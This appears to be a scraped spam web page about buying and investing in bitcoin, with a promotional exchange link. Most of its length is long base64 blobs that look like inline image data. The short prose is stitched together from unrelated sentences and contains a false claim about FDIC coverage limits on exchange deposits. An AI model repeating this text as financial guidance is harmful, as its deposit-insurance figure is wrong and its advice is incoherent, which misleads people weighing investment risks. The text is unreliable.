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" width="301px%" alt="to buy bitcoin or not"/><br />
But I was using this revival as a time to set up recurring purchases with these mainstream mobile apps that are touting easy crypto buying as the technology matures. What that means is that there will be an eventual crash before the inevitable climb back up afterwards. I try not to store too much BTC or cash on the platform as, although I trust them not to steal, I don’t want to have to trust their security when they’re a custodian for billions of dollars. Your money is protected by the FDIC up to $300k, but only if your money is in USD on Coinbase (i.e. they don’t insure USD on Coinbase Pro or any of their crypto holdings). We saw that the first wave was from an entirely unproven, theoretical cryptocurrency to ICOs. The first wave happened because the price was far deflated in terms of the actual development of the ICOs and the new technical concepts emerging.</p>
<h2 id="toc-4">How To Invest In Bitcoin: A Beginners Guide</h2>
<p>Read more about <a href="https://www.beaxy.com/market/btc/">Btcoin to Dollar</a> here. Bitcoin is a very high-risk investment because it’s a volatile asset. That means that Bitcoin values may rise or fall dramatically in value over a very short period—even as quickly as a few hours or days. However, hot wallets are not the most secure form of coin storage. If the hot wallet provider is hacked, then your coin information may be at risk. As you might have guessed, choosing a Bitcoin exchange is becoming more difficult for investors as more options begin to popularize. Find everything you need to know about Binance vs. Coinbase and start investing, today. Bitcoin was created to solve a couple of big cryptocurrency flaws.<br />
<img class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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